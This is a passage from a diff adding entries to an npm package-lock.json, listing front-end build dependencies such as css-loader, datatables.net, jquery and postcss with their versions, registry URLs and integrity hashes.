"sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" + }, + "node_modules/core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", + "dev": true + }, + "node_modules/css-loader": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-5.0.1.tgz", + "integrity": "sha512-cXc2ti9V234cq7rJzFKhirb2L2iPy8ZjALeVJAozXYz9te3r4eqLSixNAbMDJSgJEQywqXzs8gonxaboeKqwiw==", + "dev": true, + "dependencies": { + "camelcase": "^6.2.0", + "cssesc": "^3.0.0", + "icss-utils": "^5.0.0", + "loader-utils": "^2.0.0", + "postcss": "^8.1.4", + "postcss-modules-extract-imports": "^3.0.0", + "postcss-modules-local-by-default": "^4.0.0", + "postcss-modules-scope": "^3.0.0", + "postcss-modules-values": "^4.0.0", + "postcss-value-parser": "^4.1.0", + "schema-utils": "^3.0.0", + "semver": "^7.3.2" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/datatables.net": { + "version": "1.10.23", + "resolved": "https://registry.npmjs.org/datatables.net/-/datatables.net-1.10.23.tgz", + "integrity": "sha512-we3tlNkzpxvgkKKlTxTMXPCt35untVXNg8zUYWpQyC1U5vJc+lT0+Zdc1ztK8d3lh5CfdnuFde2p8n3XwaGl3Q==", + "dependencies": { + "jquery": ">=1.7" + } + }, + "node_modules/datatables.net-bs4": { + "version": "1.10.23", + "resolved": "https://registry.npmjs.org/datatables.net-bs4/-/datatables.net-bs4-1.10.23.tgz", + "integrity": "sha512-ChUB8t5t5uzPnJYTPXx2DOvnlm2shz8OadXrKoFavOadB308OuwHVxSldYq9+KGedCeiVxEjNqcaV4nFSXkRsw==", + "dependencies": { + "datatables.net": "1.10.23", + "jquery": ">=1.7" + } + }, + "node_modules/datatables.net-select": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/datatables.net-select/-/datatables.net-select-1.3.1.tgz", + "integrity": "sha512-PeVd/hlAX58QzL0+mGvxnXP7ylLtzZMeAots/uZkQi+6c/KI6JuP8LCJoEMHAsSjQM/BnG7Uw8E1YGOz1tZpQQ==", + "dependencies": { + "datatables.net": "^1.10.15", + "jquery": ">=1.7" + } + }, + "node_modules/datatables.net-select-bs4": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/datatables.net-select-bs4/-/datatables.net-select-bs4-1.3.1.tgz", + "integrity": "sha512-8UOBxChTsn24nP/ZOsIMGZOdTJymQZ8WcQ81NcGgyDz6b4JlsQl8Bwb89AcVT7hncMquPJ3d5WUGG4I9WMhAlw==", + "dependencies": { + "datatables.net-bs4": "^1.10.15", + "datatables.net-select": "1.3.1", + "jquery": ">=1.7" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.3.638", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.638.tgz", + "integrity": "sha512-vbTdlXeu3pAtPt0/T3+HVyX9bu6Lx/iXUYSWBCCRDI+JQiq48m6o4BnZPLBy40+4E0dLbt/Ix9VIJ/06XztfoA==", + "dev": true + }, + "node_modules/emojis-list": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz", + "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==", + "engines": { + "node": ">= 4" + } + }, + "node_modules/enhanced-resolve": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-4.5.0.tgz", + "integrity": "sha512-Nv9m36S/vxpsI+Hc4/ZGRs0n9mXqSWGGq49zxb/cJfPAQMbUtttJAlNPS4AQzaBdw/pKskw5bMbekT/Y7W/Wlg==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "memory-fs": "^0.5.0", + "tapable": "^1.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/errno": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz", + "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==", + "dev": true, + "dependencies": { + "prr": "~1.0.1" + }, + "bin": { + "errno": "cli.js" + } + }, + "node_modules/es-module-lexer": { + "version": "0.3.26", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.3.26.tgz", + "integrity": "sha512-Va0Q/xqtrss45hWzP8CZJwzGSZJjDM5/MJRE3IXXnUCcVLElR9BRaE9F62BopysASyc4nM3uwhSW7FFB9nlWAA==", + "dev": true + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dev": true, + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esrecurse/node_modules/estraverse": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.2.0.tgz", + "integrity": "sha512-BxbNGGNm0RyRYvUdHpIwv9IWzeM9XClbOxwoATuFdOE7ZE6wHL+HQ5T8hoPM+zHvmKzzsEqhgy0GrQ5X13afiQ==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/events": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.2.0.tgz", + "integrity": "sha512-/46HWwbfCX2xTawVfkKLGxMifJYQBWMwY1mjywRtb4c9x8l5NP3KoJtnIOiL1hfdRkIuYhETxQlo62IF8tcnlg==", + "dev": true, + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "node_modules/file-loader": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "dev": true + }, + "node_modules/graceful-fs": { + "version": "4.2.4", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", + "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", + "dev": true + }, + "node_modules/hammerjs": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/hammerjs/-/hammerjs-2.0.8.tgz", + "integrity": "sha1-BO93hiz/K7edMPdpIJWTAiK/YPE=", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/icss-utils": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/icss-utils/-/icss-utils-5.1.0.tgz", + "integrity": "sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + } + }, + "node_modules/indexes-of": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", + "integrity": "sha1-8w9xbI4r00bHtn0985FVZqfAVgc=", + "dev": true + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true + }, + "node_modules/jest-worker": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "dev": true, + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jquery": { + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.5.1.tgz", + "integrity": "sha512-XwIBPqcMn57FxfT+Go5pzySnm4KWkT1Tv7gjrpT1srtf8Weynl6R273VJ5GjkRb51IzMp5nbaPjJXMWeju2MKg==" + }, + "node_modules/jquery-ui": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/jquery-ui/-/jquery-ui-1.12.1.tgz", + "integrity": "sha1-vLQEXI3QU5wTS8FIjN0+dop6nlE=" + }, + "node_modules/json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "node_modules/json5": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.1.3.tgz", + "integrity": "sha512-KXPvOm8K9IJKFM0bmdn8QXh7udDh1g/giieX0NLCaMnb4hEiVFqnop2ImTXCc5e0/oHz3LTqmHGtExn5hfMkOA==", + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/keycharm": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/keycharm/-/keycharm-0.4.0.tgz", + "integrity": "sha512-TyQTtsabOVv3MeOpR92sIKk/br9wxS+zGj4BG7CR8YbK4jM3tyIBaF0zhzeBUMx36/Q/iQLOKKOT+3jOQtemRQ==" + }, + "node_modules/loader-runner": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", + "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==", + "dev": true, + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.0.tgz", + "integrity": "sha512-rP4F0h2RaWSvPEkD7BLDFQnvSf+nK+wr3ESUjNTyAGobqrijmW92zc+SO6d4p4B1wh7+B/Jg1mkQe5NYUEHtHQ==", + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + }, + "engines": { + "node": ">=8.9.0" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/memory-fs": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.5.0.tgz", + "integrity": "sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA==", + "dev": true, + "dependencies": { + "errno": "^0.1.3", + "readable-stream": "^2.0.1" + }, + "engines": { + "node": ">=4.3.0 <5.0.0 || >=5.10" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "node_modules/micromatch": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", + "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", + "dev": true, + "dependencies": { + "braces": "^3.0.1", + "picomatch": "^2.0.5" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mime-db": { + "version": "1.45.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.45.0.tgz", + "integrity": "sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.28", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.28.tgz", + "integrity": "sha512-0TO2yJ5YHYr7M2zzT7gDU1tbwHxEUWBCLt0lscSNpcdAfFyJOVEpRYNS7EXVcTLNj/25QO8gulHC5JtTzSE2UQ==", + "dev": true, + "dependencies": { + "mime-db": "1.45.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "node_modules/nanoid": { + "version": "3.1.20", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.1.20.tgz", + "integrity": "sha512-a1cQNyczgKbLX9jwbS/+d7W8fX/RfgYR7lVWwWOGIPNgK2m0MWvrGF6/m4kk6U3QcFMnZf3RIhL0v2Jgh/0Uxw==", + "dev": true, + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true + }, + "node_modules/node-releases": { + "version": "1.1.69", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.69.tgz", + "integrity": "sha512-DGIjo79VDEyAnRlfSqYTsy+yoHd2IOjJiKUozD2MV2D85Vso6Bug56mb9tT/fY5Urt0iqk01H7x+llAruDR2zA==", + "dev": true + }, + "node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/path-exists": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", + "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/picomatch": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz", + "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==", + "dev": true, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/pkg-dir": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-5.0.0.tgz", + "integrity": "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA==", + "dev": true, + "dependencies": { + "find-up": "^5.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/popper.js": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", + "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==" + }, + "node_modules/postcss": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.2.4.tgz", + "integrity": "sha512-kRFftRoExRVXZlwUuay9iC824qmXPcQQVzAjbCCgjpXnkdMCJYBu2gTwAaFBzv8ewND6O8xFb3aELmEkh9zTzg==", + "dev": true, + "dependencies": { + "colorette": "^1.2.1", + "nanoid": "^3.1.20", + "source-map": "^0.6.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-modules-extract-imports": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", + "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >= 14" + } + }, + "node_modules/postcss-modules-local-by-default": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", + "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0", + "postcss-selector-parser": "^6.0.2", + "postcss-value-parser": "^4.1.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + } + }, + "node_modules/postcss-modules-scope": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", + "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.4" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + } + }, + "node_modules/postcss-modules-values": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-4.0.0.tgz", + "integrity": "sha512-RDxHkAiEGI78gS2ofyvCsu7iycRv7oqw5xMWn9iMoR0N/7mf9D50ecQqUo5BZ9Zh2vH4bCUR/ktCqbB9m8vJjQ==", + "dev": true, + "dependencies": { + "icss-utils": "^5.0.0" + }, + "engines": { + "node": "^10 || ^12 || >= 14" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz", + "integrity": "sha512-gjMeXBempyInaBqpp8gODmwZ52WaYsVOsfr4L4lDQ7n3ncD6mEyySiDtgzCT+NYC0mmeOLvtsF8iaEf0YT6dBw==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "indexes-of": "^1.0.1", + "uniq": "^1.0.1", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz", + "integrity": "sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ==", + "dev": true + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true + }, + "node_modules/prr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", + "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", + "dev": true + }, + "node_modules/punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==", + "engines": { + "node": ">=6" + } + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dev": true, + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true + }, + "node_modules/schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.0.0.tgz", + "integrity": "sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==", + "dependencies": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/semver": { + "version": "7.3.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.4.tgz", + "integrity": "sha512-tCfb2WLjqFAtXn4KEdxIhalnRtoKFN7nAwj0B3ZXCbQloV2tq5eDbcTmT68JJD3nRJq24/XgxtQKFIpQdtvmVw==", + "dev": true, + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/serialize-javascript": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-5.0.1.tgz", + "integrity": "sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA==", + "dev": true, + "dependencies": { + 